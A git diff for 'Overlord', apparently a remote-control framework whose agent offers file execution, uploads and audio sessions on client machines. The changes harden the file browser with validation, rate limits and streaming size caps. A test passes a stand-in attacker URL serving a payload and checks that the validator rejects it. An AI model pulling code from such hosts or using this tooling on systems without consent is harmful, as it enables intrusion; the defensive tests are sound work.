diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 418703c..ce045db 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -33,15 +33,16 @@ import ( var ErrReconnect = errors.New("reconnect requested") var ( - activeCommands = make(map[string]context.CancelFunc) - activeCommandsMu sync.Mutex - voiceSessionMu sync.Mutex - voiceSession *voiceRuntime - desktopAudioMu sync.Mutex - desktopAudioSession *voiceRuntime - backstageInputOnce sync.Once - backstageInputQueue chan backstageInputEvent - backstageInputDropped atomic.Uint64 + activeCommands = make(map[string]context.CancelFunc) + activeCommandsMu sync.Mutex + voiceSessionMu sync.Mutex + voiceSession *voiceRuntime + desktopAudioMu sync.Mutex + desktopAudioSession *voiceRuntime + backstageInputOnce sync.Once + backstageInputQueue chan backstageInputEvent + backstageInputDropped atomic.Uint64 + fileHashSlots = make(chan struct{}, 2) ) type backstageInputKind int @@ -2697,8 +2698,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) algorithm, _ := payload["algorithm"].(string) + hashCtx, cancel := context.WithCancel(ctx) + registerCancellableCommand(cmdID, cancel) goSafe("file_hash", env.Cancel, func() { - if err := HandleFileHash(ctx, env, cmdID, path, algorithm); err != nil && err != context.Canceled { + defer unregisterCommand(cmdID) + select { + case fileHashSlots <- struct{}{}: + defer func() { <-fileHashSlots }() + case <-hashCtx.Done(): + return + } + if err := HandleFileHash(hashCtx, env, cmdID, path, algorithm); err != nil && err != context.Canceled { log.Printf("file_hash error: %v", err) } }) diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index 23ea69c..2714e0d 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -359,16 +359,30 @@ func HandleFileHash(ctx context.Context, env *agentRuntime.Env, cmdID string, pa } defer f.Close() - if _, err := io.Copy(h, f); err != nil { - return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ - Type: "file_hash_result", - CommandID: cmdID, - Path: path, - Algorithm: algorithm, - Error: err.Error(), - }) + buf := make([]byte, 256*1024) + for { + if err := ctx.Err(); err != nil { + return err + } + n, readErr := f.Read(buf) + if n > 0 { + if _, err := h.Write(buf[:n]); err != nil { + return err + } + } + if readErr == io.EOF { + break + } + if readErr != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", CommandID: cmdID, Path: path, + Algorithm: algorithm, Error: readErr.Error(), + }) + } + } + if err := ctx.Err(); err != nil { + return err } - return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ Type: "file_hash_result", CommandID: cmdID, diff --git a/Overlord-Server/public/assets/filebrowser-hex-hash.js b/Overlord-Server/public/assets/filebrowser-hex-hash.js index 2eebd55..fa37afc 100644 --- a/Overlord-Server/public/assets/filebrowser-hex-hash.js +++ b/Overlord-Server/public/assets/filebrowser-hex-hash.js @@ -1,4 +1,4 @@ -import { escapeHtml, formatBytes } from "./filebrowser-utils.js"; +import { escapeHtml, formatBytes, getHighlightLanguage } from "./filebrowser-utils.js"; const KNOWN_HASHES_SHA256 = { "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855": "Empty file (0 bytes)", @@ -39,7 +39,23 @@ export function createFileHexHashManager({ function resetPreviewTextHead() { previewTextHeadHost?.classList.add("hidden"); - if (previewTextHead) previewTextHead.textContent = ""; + if (previewTextHead) { + previewTextHead.textContent = ""; + previewTextHead.className = ""; + delete previewTextHead.dataset.highlighted; + } + } + + function renderPreviewTextHead(text, fileName) { + if (!previewTextHead) return; + const requestedLanguage = getHighlightLanguage(fileName); + const language = window.hljs?.getLanguage(requestedLanguage) ? requestedLanguage : "plaintext"; + previewTextHead.className = language === "plaintext" ? "hljs" : `language-${language}`; + previewTextHead.textContent = text; + delete previewTextHead.dataset.highlighted; + if (window.hljs && language !== "plaintext") { + window.hljs.highlightElement(previewTextHead); + } } function resetPreviewHash() { @@ -157,7 +173,7 @@ export function createFileHexHashManager({ return; } const text = decodeTextHead(data); - if (previewTextHead) previewTextHead.textContent = text; + renderPreviewTextHead(text, req.fileName); previewTextHeadHost?.classList.remove("hidden"); } diff --git a/Overlord-Server/public/assets/filebrowser-preview-modal.js b/Overlord-Server/public/assets/filebrowser-preview-modal.js index a32ae17..c25fcbf 100644 --- a/Overlord-Server/public/assets/filebrowser-preview-modal.js +++ b/Overlord-Server/public/assets/filebrowser-preview-modal.js @@ -22,8 +22,11 @@ export function createFilePreviewModal({ let currentPreviewBlobUrl = null; let currentPreviewPath = null; + let currentPreviewAbortController = null; function closePreview() { + currentPreviewAbortController?.abort(); + currentPreviewAbortController = null; if (filePreviewModal) filePreviewModal.classList.remove("show"); if (currentPreviewBlobUrl) { URL.revokeObjectURL(currentPreviewBlobUrl); @@ -48,6 +51,9 @@ export function createFilePreviewModal({ return; } + currentPreviewAbortController?.abort(); + const abortController = new AbortController(); + currentPreviewAbortController = abortController; currentPreviewPath = path; if (previewFileNameEl) previewFileNameEl.textContent = fileName; if (previewContent) previewContent.innerHTML = ''; @@ -59,7 +65,8 @@ export function createFilePreviewModal({ method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", - body: JSON.stringify({ clientId, path }), + signal: abortController.signal, + body: JSON.stringify({ clientId, path, preview: true }), }); if (!requestRes.ok) { @@ -87,6 +94,7 @@ export function createFilePreviewModal({ const res = await fetch(downloadUrl, { method: "GET", credentials: "include", + signal: abortController.signal, }); if (!res.ok) { @@ -99,22 +107,37 @@ export function createFilePreviewModal({ const contentLength = Number(res.headers.get("Content-Length") || 0); if (contentLength > PREVIEW_MAX_BYTES) { + await res.body?.cancel("preview size limit exceeded"); if (currentPreviewPath !== path) return; if (previewContent) previewContent.innerHTML = `
File too large to preview (${escapeHtml(formatBytes(contentLength))})
`; if (previewStatusEl) previewStatusEl.textContent = ""; return; } - const arrayBuffer = await res.arrayBuffer(); + if (!res.body) throw new Error("Preview response did not include a body"); + const reader = res.body.getReader(); + const chunks = []; + let received = 0; + while (true) { + const { done, value } = await reader.read(); + if (done) break; + if (!value) continue; + received += value.byteLength; + if (received > PREVIEW_MAX_BYTES) { + await reader.cancel("preview size limit exceeded"); + throw new Error(`File too large to preview (${formatBytes(received)})`); + } + chunks.push(value); + } + const arrayBuffer = new Uint8Array(received); + let chunkOffset = 0; + for (const chunk of chunks) { + arrayBuffer.set(chunk, chunkOffset); + chunkOffset += chunk.byteLength; + } if (currentPreviewPath !== path) return; - if (arrayBuffer.byteLength > PREVIEW_MAX_BYTES) { - if (previewContent) previewContent.innerHTML = `
File too large to preview (${escapeHtml(formatBytes(arrayBuffer.byteLength))})
`; - if (previewStatusEl) previewStatusEl.textContent = ""; - return; - } - if (currentPreviewBlobUrl) { URL.revokeObjectURL(currentPreviewBlobUrl); currentPreviewBlobUrl = null; @@ -140,9 +163,12 @@ export function createFilePreviewModal({ if (previewStatusEl) previewStatusEl.textContent = ""; } catch (err) { + if (err?.name === "AbortError" || abortController.signal.aborted) return; if (currentPreviewPath !== path) return; if (previewContent) previewContent.innerHTML = `
${escapeHtml(err.message || "Failed to load preview")}
`; if (previewStatusEl) previewStatusEl.textContent = ""; + } finally { + if (currentPreviewAbortController === abortController) currentPreviewAbortController = null; } } diff --git a/Overlord-Server/public/assets/filebrowser-utils.js b/Overlord-Server/public/assets/filebrowser-utils.js index cf362ec..54f3a3d 100644 --- a/Overlord-Server/public/assets/filebrowser-utils.js +++ b/Overlord-Server/public/assets/filebrowser-utils.js @@ -8,6 +8,40 @@ export const PREVIEW_IMAGE_EXTS = new Set(["jpg", "jpeg", "png", "gif", "webp", export const PREVIEW_PDF_EXTS = new Set(["pdf"]); export const PREVIEW_MAX_BYTES = 50 * 1024 * 1024; +const HIGHLIGHT_FILENAME_MAP = { + dockerfile: "dockerfile", + makefile: "makefile", + gnumakefile: "makefile", + "nginx.conf": "nginx", + ".env": "bash", +}; + +const HIGHLIGHT_EXTENSION_MAP = { + js: "javascript", mjs: "javascript", cjs: "javascript", jsx: "javascript", + ts: "typescript", mts: "typescript", cts: "typescript", tsx: "typescript", + py: "python", pyw: "python", rb: "ruby", java: "java", + cpp: "cpp", cxx: "cpp", cc: "cpp", hpp: "cpp", hxx: "cpp", + c: "c", h: "c", cs: "csharp", php: "php", phtml: "php", + go: "go", rs: "rust", + sh: "bash", bash: "bash", zsh: "bash", ksh: "bash", + bat: "powershell", cmd: "powershell", ps1: "powershell", psm1: "powershell", psd1: "powershell", + json: "json", jsonc: "json", json5: "json", + xml: "xml", svg: "xml", xsl: "xml", xslt: "xml", plist: "xml", + html: "xml", htm: "xml", xhtml: "xml", vue: "xml", svelte: "xml", + css: "css", scss: "scss", sass: "scss", sql: "sql", + yaml: "yaml", yml: "yaml", md: "markdown", markdown: "markdown", + ini: "ini", cfg: "ini", properties: "ini", toml: "ini", + diff: "diff", patch: "diff", dockerfile: "dockerfile", makefile: "makefile", nginx: "nginx", +}; + +export function getHighlightLanguage(name = "") { + const fileName = name.split(/[\\/]/).pop()?.toLowerCase() || ""; + if (HIGHLIGHT_FILENAME_MAP[fileName]) return HIGHLIGHT_FILENAME_MAP[fileName]; + if (fileName.startsWith("dockerfile.")) return "dockerfile"; + if (fileName.startsWith(".env.")) return "bash"; + return HIGHLIGHT_EXTENSION_MAP[getFileExt(fileName)] || "plaintext"; +} + export const KNOWN_BINARY_EXTS = new Set([ "mp4", "avi", "mkv", "mov", "wmv", "flv", "webm", "m4v", "mp3", "wav", "flac", "ogg", "aac", "wma", "m4a", diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index d2cb28d..edb9a26 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -9,6 +9,7 @@ import { escapeHtml, formatBytes, getFileExt, + getHighlightLanguage, getParentPath, isPreviewable, shouldShowParentDirectory, @@ -140,7 +141,8 @@ function updateStatus(state, text) { disconnected: '', }; - statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`; + statusEl.innerHTML = icons[state] || icons.disconnected; + statusEl.appendChild(document.createTextNode(` ${String(text ?? "")}`)); const stateClasses = { connected: "bg-emerald-500/10 text-emerald-300 border-emerald-500/30", error: "bg-red-500/10 text-red-300 border-red-500/30", @@ -662,6 +664,28 @@ const THUMBNAIL_EXTS = new Set([ // key → { blobUrl?: string, failed?: boolean, pending?: boolean } const iconCache = new Map(); const thumbCache = new Map(); +const MAX_ICON_CACHE_ENTRIES = 256; +const MAX_THUMB_CACHE_ENTRIES = 128; + +function trimBlobCache(cache, maxEntries) { + while (cache.size > maxEntries) { + const oldestKey = cache.keys().next().value; + const entry = cache.get(oldestKey); + if (entry?.blobUrl) URL.revokeObjectURL(entry.blobUrl); + cache.delete(oldestKey); + } +} + +function clearBlobCaches() { + for (const cache of [iconCache, thumbCache]) { + for (const entry of cache.values()) { + if (entry?.blobUrl) URL.revokeObjectURL(entry.blobUrl); + } + cache.clear(); + } +} + +window.addEventListener("pagehide", clearBlobCaches, { once: true }); // Queues + batching const iconQueue = []; // {key, path?, ext?} @@ -743,8 +767,14 @@ function flushThumbQueue() { function requestIconFor(entry) { const key = iconCacheKey(entry); if (!key) return null; - if (iconCache.has(key)) return key; + if (iconCache.has(key)) { + const cached = iconCache.get(key); + iconCache.delete(key); + iconCache.set(key, cached); + return key; + } iconCache.set(key, { pending: true }); + trimBlobCache(iconCache, MAX_ICON_CACHE_ENTRIES); const item = { key }; if (key.startsWith("path:")) { item.path = entry.path; @@ -761,8 +791,14 @@ function requestIconFor(entry) { function requestThumbFor(entry) { const key = thumbCacheKey(entry); if (!key) return null; - if (thumbCache.has(key)) return key; + if (thumbCache.has(key)) { + const cached = thumbCache.get(key); + thumbCache.delete(key); + thumbCache.set(key, cached); + return key; + } thumbCache.set(key, { pending: true }); + trimBlobCache(thumbCache, MAX_THUMB_CACHE_ENTRIES); thumbQueue.push({ key, path: entry.path, size: THUMB_EDGE }); scheduleThumbFlush(); return key; @@ -776,12 +812,15 @@ function handleFileIconResult(msg) { const entry = iconCache.get(item.key) || {}; entry.pending = false; if (item.png && item.png.length > 0) { + if (entry.blobUrl) URL.revokeObjectURL(entry.blobUrl); const blob = new Blob([item.png], { type: "image/png" }); entry.blobUrl = URL.createObjectURL(blob); } else { entry.failed = true; } + iconCache.delete(item.key); iconCache.set(item.key, entry); + trimBlobCache(iconCache, MAX_ICON_CACHE_ENTRIES); applyIconToDom(item.key, entry); } } @@ -796,6 +835,7 @@ function handleFileThumbResult(msg) { const entry = thumbCache.get(item.key) || {}; entry.pending = false; if (item.jpeg && item.jpeg.length > 0) { + if (entry.blobUrl) URL.revokeObjectURL(entry.blobUrl); const blob = new Blob([item.jpeg], { type: "image/jpeg" }); entry.blobUrl = URL.createObjectURL(blob); entry.w = item.w || 0; @@ -803,7 +843,9 @@ function handleFileThumbResult(msg) { } else { entry.failed = true; } + thumbCache.delete(item.key); thumbCache.set(item.key, entry); + trimBlobCache(thumbCache, MAX_THUMB_CACHE_ENTRIES); applyThumbToDom(item.key, entry); } } @@ -2120,7 +2162,7 @@ function showProgressNotification(commandId, message, path) { Zipping Directory - @@ -2128,6 +2170,11 @@ function showProgressNotification(commandId, message, path) {
${escapeHtml(path)}
`; + notification.querySelector(".cancel-zip-operation")?.addEventListener("click", (event) => { + event.stopPropagation(); + cancelZipOperation(commandId); + }); + document.body.appendChild(notification); activeProgressNotifications.set(commandId, notification); } @@ -3375,7 +3422,8 @@ function handleFileSearchResult(msg) { "file-item px-4 py-3 border border-slate-700 rounded cursor-pointer hover:bg-slate-800/50 mb-2"; const fileName = result.path.split(/[\/\\]/).pop(); - const lineInfo = result.line ? ` (line ${result.line})` : ""; + const lineNumber = Number(result.line); + const lineInfo = Number.isSafeInteger(lineNumber) && lineNumber > 0 ? ` (line ${lineNumber})` : ""; const matchPreview = result.match ? `
${escapeHtml(result.match.substring(0, 100))}
` : ""; @@ -3390,12 +3438,17 @@ function handleFileSearchResult(msg) {
${escapeHtml(result.path)}
${matchPreview} - `; + row.querySelector(".search-result-download")?.addEventListener("click", (event) => { + event.stopPropagation(); + downloadFile(String(result.path || "")); + }); + row.onclick = async () => { const resultName = result.path.split(/[\/\\]/).pop() || ""; if (isPreviewable(resultName)) { @@ -3507,48 +3560,23 @@ function closeEditor() { function applySyntaxHighlighting() { const code = editorTextarea.value; + const MAX_HIGHLIGHT_CHARS = 512 * 1024; + const displayedCode = code.length > MAX_HIGHLIGHT_CHARS + ? `${code.slice(0, MAX_HIGHLIGHT_CHARS)}\n\n[Syntax preview truncated for performance]` + : code; const codeElement = document.getElementById("editor-code"); const fileName = currentEditingFile?.split(/[/\\\\]/).pop() || ""; - - const ext = fileName.split(".").pop()?.toLowerCase(); - const languageMap = { - js: "javascript", - jsx: "javascript", - ts: "typescript", - tsx: "typescript", - py: "python", - rb: "ruby", - java: "java", - cpp: "cpp", - c: "c", - cs: "csharp", - php: "php", - go: "go", - rs: "rust", - sh: "bash", - bash: "bash", - bat: "powershell", - cmd: "powershell", - ps1: "powershell", - json: "json", - xml: "xml", - html: "html", - css: "css", - scss: "scss", - sql: "sql", - yaml: "yaml", - yml: "yaml", - md: "markdown", - txt: "plaintext", - }; - - const language = languageMap[ext] || "plaintext"; - codeElement.className = `language-${language}`; - codeElement.textContent = code; + const requestedLanguage = getHighlightLanguage(fileName); + const language = window.hljs?.getLanguage(requestedLanguage) ? requestedLanguage : "plaintext"; + codeElement.className = language === "plaintext" ? "hljs" : `language-${language}`; + codeElement.textContent = displayedCode; + if (code.length > MAX_HIGHLIGHT_CHARS) { + editorStatus.textContent = `Ready — syntax preview limited to ${Math.round(MAX_HIGHLIGHT_CHARS / 1024)} KB`; + } delete codeElement.dataset.highlighted; - if (window.hljs) { + if (window.hljs && language !== "plaintext") { hljs.highlightElement(codeElement); } } diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html index 7da7d5c..54a3d85 100644 --- a/Overlord-Server/public/filebrowser.html +++ b/Overlord-Server/public/filebrowser.html @@ -760,7 +760,7 @@
- Hex peek (4 KB) + Hex preview (4 KB)
SHA-256 @@ -837,8 +837,8 @@
- - -- + +
Hex preview
--
diff --git a/Overlord-Server/scripts/vendor.ts b/Overlord-Server/scripts/vendor.ts index 9b6c7df..9195c17 100644 --- a/Overlord-Server/scripts/vendor.ts +++ b/Overlord-Server/scripts/vendor.ts @@ -248,11 +248,51 @@ import powershell from '${path.join(NM, "highlight.js", "lib", "languages", "pow import python from '${path.join(NM, "highlight.js", "lib", "languages", "python.js").replace(/\\/g, "/")}'; import go from '${path.join(NM, "highlight.js", "lib", "languages", "go.js").replace(/\\/g, "/")}'; import rust from '${path.join(NM, "highlight.js", "lib", "languages", "rust.js").replace(/\\/g, "/")}'; +import javascript from '${path.join(NM, "highlight.js", "lib", "languages", "javascript.js").replace(/\\/g, "/")}'; +import typescript from '${path.join(NM, "highlight.js", "lib", "languages", "typescript.js").replace(/\\/g, "/")}'; +import json from '${path.join(NM, "highlight.js", "lib", "languages", "json.js").replace(/\\/g, "/")}'; +import xml from '${path.join(NM, "highlight.js", "lib", "languages", "xml.js").replace(/\\/g, "/")}'; +import css from '${path.join(NM, "highlight.js", "lib", "languages", "css.js").replace(/\\/g, "/")}'; +import scss from '${path.join(NM, "highlight.js", "lib", "languages", "scss.js").replace(/\\/g, "/")}'; +import yaml from '${path.join(NM, "highlight.js", "lib", "languages", "yaml.js").replace(/\\/g, "/")}'; +import markdown from '${path.join(NM, "highlight.js", "lib", "languages", "markdown.js").replace(/\\/g, "/")}'; +import sql from '${path.join(NM, "highlight.js", "lib", "languages", "sql.js").replace(/\\/g, "/")}'; +import ini from '${path.join(NM, "highlight.js", "lib", "languages", "ini.js").replace(/\\/g, "/")}'; +import dockerfile from '${path.join(NM, "highlight.js", "lib", "languages", "dockerfile.js").replace(/\\/g, "/")}'; +import makefile from '${path.join(NM, "highlight.js", "lib", "languages", "makefile.js").replace(/\\/g, "/")}'; +import diff from '${path.join(NM, "highlight.js", "lib", "languages", "diff.js").replace(/\\/g, "/")}'; +import nginx from '${path.join(NM, "highlight.js", "lib", "languages", "nginx.js").replace(/\\/g, "/")}'; +import c from '${path.join(NM, "highlight.js", "lib", "languages", "c.js").replace(/\\/g, "/")}'; +import cpp from '${path.join(NM, "highlight.js", "lib", "languages", "cpp.js").replace(/\\/g, "/")}'; +import csharp from '${path.join(NM, "highlight.js", "lib", "languages", "csharp.js").replace(/\\/g, "/")}'; +import java from '${path.join(NM, "highlight.js", "lib", "languages", "java.js").replace(/\\/g, "/")}'; +import ruby from '${path.join(NM, "highlight.js", "lib", "languages", "ruby.js").replace(/\\/g, "/")}'; +import php from '${path.join(NM, "highlight.js", "lib", "languages", "php.js").replace(/\\/g, "/")}'; hljs.registerLanguage('bash', bash); hljs.registerLanguage('powershell', powershell); hljs.registerLanguage('python', python); hljs.registerLanguage('go', go); hljs.registerLanguage('rust', rust); +hljs.registerLanguage('javascript', javascript); +hljs.registerLanguage('typescript', typescript); +hljs.registerLanguage('json', json); +hljs.registerLanguage('xml', xml); +hljs.registerLanguage('css', css); +hljs.registerLanguage('scss', scss); +hljs.registerLanguage('yaml', yaml); +hljs.registerLanguage('markdown', markdown); +hljs.registerLanguage('sql', sql); +hljs.registerLanguage('ini', ini); +hljs.registerLanguage('dockerfile', dockerfile); +hljs.registerLanguage('makefile', makefile); +hljs.registerLanguage('diff', diff); +hljs.registerLanguage('nginx', nginx); +hljs.registerLanguage('c', c); +hljs.registerLanguage('cpp', cpp); +hljs.registerLanguage('csharp', csharp); +hljs.registerLanguage('java', java); +hljs.registerLanguage('ruby', ruby); +hljs.registerLanguage('php', php); globalThis.hljs = hljs; `; const hljsTmp = path.join(ROOT, "scripts", "_hljs-entry.ts"); diff --git a/Overlord-Server/src/server/file-browser-security.test.ts b/Overlord-Server/src/server/file-browser-security.test.ts new file mode 100644 index 0000000..a47f9a1 --- /dev/null +++ b/Overlord-Server/src/server/file-browser-security.test.ts @@ -0,0 +1,38 @@ +import { describe, expect, test } from "bun:test"; +import { + FILE_BROWSER_MAX_ICON_ITEMS, + validateFileBrowserCommandPayload, +} from "./file-browser-security"; + +describe("file browser command payload validation", () => { + test("caps read and peek sizes", () => { + expect(validateFileBrowserCommandPayload("file_read", { path: "C:\\ok.txt", maxSize: 99_999_999 })?.maxSize) + .toBe(10 * 1024 * 1024); + expect(validateFileBrowserCommandPayload("file_peek", { path: "/tmp/ok", bytes: 99_999 })?.bytes) + .toBe(4096); + }); + + test("rejects control characters and oversized paths", () => { + expect(validateFileBrowserCommandPayload("file_read", { path: "C:\\bad\0.txt" })).toBeNull(); + expect(validateFileBrowserCommandPayload("file_read", { path: "x".repeat(4097) })).toBeNull(); + }); + + test("bounds icon and thumbnail batches", () => { + const icons = Array.from({ length: FILE_BROWSER_MAX_ICON_ITEMS + 1 }, (_, i) => ({ key: `ext:${i}`, ext: "txt" })); + expect(validateFileBrowserCommandPayload("file_icon", { items: icons })).toBeNull(); + expect(validateFileBrowserCommandPayload("file_thumb", { + items: [{ key: "thumb:ok", path: "C:\\ok.png", size: 96 }], + })).not.toBeNull(); + }); + + test("only permits agent upload pulls served by this application", () => { + expect(validateFileBrowserCommandPayload("file_upload_http", { + path: "C:\\ok.bin", + url: "/api/file/upload/pull/123e4567-e89b-42d3-a456-426614174000", + total: 10, + })).not.toBeNull(); + expect(validateFileBrowserCommandPayload("file_upload_http", { + path: "C:\\ok.bin", url: "https://attacker.invalid/payload", total: 10, + })).toBeNull(); + }); +}); diff --git a/Overlord-Server/src/server/file-browser-security.ts b/Overlord-Server/src/server/file-browser-security.ts new file mode 100644 index 0000000..1d53f50 --- /dev/null +++ b/Overlord-Server/src/server/file-browser-security.ts @@ -0,0 +1,119 @@ +export const FILE_BROWSER_MAX_PATH = 4096; +export const FILE_BROWSER_MAX_READ_BYTES = 10 * 1024 * 1024; +export const FILE_BROWSER_MAX_WRITE_CHARS = 10 * 1024 * 1024; +export const FILE_BROWSER_MAX_ICON_ITEMS = 32; +export const FILE_BROWSER_MAX_THUMB_ITEMS = 8; + +const CONTROL_CHARS = /[\x00-\x1f\x7f]/; +const HASH_ALGORITHMS = new Set(["md5", "sha1", "sha256", "crc32"]); + +function safeString(value: unknown, maxLength: number, allowEmpty = false): value is string { + return typeof value === "string" + && value.length <= maxLength + && (allowEmpty || value.length > 0) + && !CONTROL_CHARS.test(value); +} + +export function isSafeFileBrowserPath(value: unknown, allowEmpty = false): value is string { + return safeString(value, FILE_BROWSER_MAX_PATH, allowEmpty); +} + +function safeCommandId(value: unknown): value is string { + return safeString(value, 128); +} + +function safeItems(value: unknown, limit: number, thumbnail: boolean): boolean { + if (!Array.isArray(value) || value.length === 0 || value.length > limit) return false; + return value.every((item) => { + if (!item || typeof item !== "object") return false; + const entry = item as Record; + if (!safeString(entry.key, FILE_BROWSER_MAX_PATH + 128)) return false; + if (entry.path !== undefined && !isSafeFileBrowserPath(entry.path)) return false; + if (entry.ext !== undefined && !safeString(entry.ext, 32, true)) return false; + if (thumbnail && (!Number.isInteger(entry.size) || Number(entry.size) < 16 || Number(entry.size) > 512)) return false; + return true; + }); +} + +export function validateFileBrowserCommandPayload( + commandType: string, + value: unknown, +): Record | null { + if (!value || typeof value !== "object" || Array.isArray(value)) return null; + const payload = value as Record; + const pathOk = () => isSafeFileBrowserPath(payload.path); + + switch (commandType) { + case "file_read": + if (!pathOk()) return null; + return { ...payload, maxSize: Math.min(FILE_BROWSER_MAX_READ_BYTES, Math.max(1, Number(payload.maxSize) || FILE_BROWSER_MAX_READ_BYTES)) }; + case "file_write": + if (!pathOk() || typeof payload.content !== "string" || payload.content.length > FILE_BROWSER_MAX_WRITE_CHARS) return null; + return payload; + case "file_request_access": + case "file_execute": + case "file_dirsize": + return pathOk() ? payload : null; + case "file_search": { + if (!isSafeFileBrowserPath(payload.path, true) || !safeString(payload.pattern, 512)) return null; + if (payload.searchId !== undefined && !safeCommandId(payload.searchId)) return null; + return { ...payload, maxResults: Math.min(500, Math.max(1, Number(payload.maxResults) || 100)) }; + } + case "file_copy": + case "file_move": + return isSafeFileBrowserPath(payload.source) && isSafeFileBrowserPath(payload.dest) ? payload : null; + case "file_chmod": + return pathOk() && safeString(payload.mode, 16) ? payload : null; + case "file_icon": + return safeItems(payload.items, FILE_BROWSER_MAX_ICON_ITEMS, false) ? payload : null; + case "file_thumb": + return safeItems(payload.items, FILE_BROWSER_MAX_THUMB_ITEMS, true) ? payload : null; + case "file_peek": + if (!pathOk()) return null; + return { ...payload, bytes: Math.min(4096, Math.max(1, Number(payload.bytes) || 4096)) }; + case "file_hash": { + const algorithm = String(payload.algorithm || "sha256").toLowerCase(); + return pathOk() && HASH_ALGORITHMS.has(algorithm) ? { ...payload, algorithm } : null; + } + case "file_upload_http": + if (!pathOk() || typeof payload.url !== "string" + || !/^\/api\/file\/upload\/pull\/[0-9a-f-]{36}$/i.test(payload.url)) return null; + if (!Number.isSafeInteger(Number(payload.total)) || Number(payload.total) < 0) return null; + return payload; + default: + return null; + } +} + +type RateState = { + windowStart: number; + commands: number; + expensiveWindowStart: number; + expensiveCommands: number; +}; + +const rateStates = new WeakMap(); +const RATE_WINDOW_MS = 10_000; +const RATE_MAX_COMMANDS = 120; +const EXPENSIVE_WINDOW_MS = 60_000; +const RATE_MAX_EXPENSIVE = 20; + +export function consumeFileBrowserCommandRateLimit(socket: object, expensive: boolean): boolean { + const now = Date.now(); + let state = rateStates.get(socket); + if (!state) { + state = { windowStart: now, commands: 0, expensiveWindowStart: now, expensiveCommands: 0 }; + rateStates.set(socket, state); + } + if (now - state.windowStart >= RATE_WINDOW_MS) { + state.windowStart = now; + state.commands = 0; + } + if (now - state.expensiveWindowStart >= EXPENSIVE_WINDOW_MS) { + state.expensiveWindowStart = now; + state.expensiveCommands = 0; + } + state.commands++; + if (expensive) state.expensiveCommands++; + return state.commands <= RATE_MAX_COMMANDS && state.expensiveCommands <= RATE_MAX_EXPENSIVE; +} diff --git a/Overlord-Server/src/server/file-transfer-state.ts b/Overlord-Server/src/server/file-transfer-state.ts index 8d10214..2e78da8 100644 --- a/Overlord-Server/src/server/file-transfer-state.ts +++ b/Overlord-Server/src/server/file-transfer-state.ts @@ -26,7 +26,10 @@ export type PendingHttpDownload = { nextExpectedOffset?: number; streamErrored?: boolean; onFirstChunk?: () => void; + onFirstChunkError?: (error: Error) => void; firstChunkSignaled?: boolean; + userId?: number; + maxBytes?: number; }; export type DownloadIntent = { @@ -36,6 +39,7 @@ export type DownloadIntent = { path: string; expiresAt: number; timeout: ReturnType; + maxBytes?: number; }; export type UploadIntent = { diff --git a/Overlord-Server/src/server/http-download-consumer.test.ts b/Overlord-Server/src/server/http-download-consumer.test.ts new file mode 100644 index 0000000..2ce7af1 --- /dev/null +++ b/Overlord-Server/src/server/http-download-consumer.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, test } from "bun:test"; +import { + consumeHttpDownloadPayload, + STREAM_MAX_CHUNK_BYTES, + type PendingHttpDownload, +} from "./http-download-consumer"; + +function pendingDownload(overrides: Partial = {}) { + let resolved = false; + let streamError = ""; + const pending: PendingHttpDownload = { + commandId: "cmd", + clientId: "client", + path: "/tmp/file", + fileName: "file", + total: 0, + receivedBytes: 0, + receivedOffsets: new Set(), + receivedChunks: new Set(), + chunkSize: 0, + expectedChunks: 0, + tmpPath: "", + fileHandle: null as any, + resolve: () => { resolved = true; }, + reject: () => {}, + timeout: setTimeout(() => {}, 60_000), + streamController: { + enqueue() {}, + close() {}, + error(error: Error) { streamError = error.message; }, + } as any, + ...overrides, + }; + return { pending, state: () => ({ resolved, streamError }) }; +} + +describe("HTTP download stream limits", () => { + test("rejects chunks larger than the agent protocol maximum", async () => { + const fixture = pendingDownload(); + const entries = new Map([[fixture.pending.commandId, fixture.pending]]); + await consumeHttpDownloadPayload({ + commandId: "cmd", offset: 0, total: STREAM_MAX_CHUNK_BYTES + 1, + data: new Uint8Array(STREAM_MAX_CHUNK_BYTES + 1), + }, entries); + clearTimeout(fixture.pending.timeout); + expect(entries.has("cmd")).toBeFalse(); + expect(fixture.state().streamError).toContain("chunk exceeded"); + }); + + test("enforces preview byte budgets from total metadata", async () => { + const fixture = pendingDownload({ maxBytes: 1024 }); + const entries = new Map([[fixture.pending.commandId, fixture.pending]]); + await consumeHttpDownloadPayload({ commandId: "cmd", total: 2048 }, entries); + clearTimeout(fixture.pending.timeout); + expect(entries.has("cmd")).toBeFalse(); + expect(fixture.state().streamError).toContain("requested byte limit"); + }); +}); diff --git a/Overlord-Server/src/server/http-download-consumer.ts b/Overlord-Server/src/server/http-download-consumer.ts index 745c74e..62d47d8 100644 --- a/Overlord-Server/src/server/http-download-consumer.ts +++ b/Overlord-Server/src/server/http-download-consumer.ts @@ -3,6 +3,8 @@ import type { FileHandle } from "fs/promises"; import { logger } from "../logger"; export const STREAM_REORDER_BUFFER_LIMIT = 16; +export const STREAM_REORDER_BUFFER_MAX_BYTES = 32 * 1024 * 1024; +export const STREAM_MAX_CHUNK_BYTES = 4 * 1024 * 1024; export type PendingHttpDownload = { commandId: string; @@ -27,7 +29,10 @@ export type PendingHttpDownload = { nextExpectedOffset?: number; streamErrored?: boolean; onFirstChunk?: () => void; + onFirstChunkError?: (error: Error) => void; firstChunkSignaled?: boolean; + userId?: number; + maxBytes?: number; }; function isStreamMode(pending: PendingHttpDownload): boolean { @@ -41,6 +46,10 @@ async function 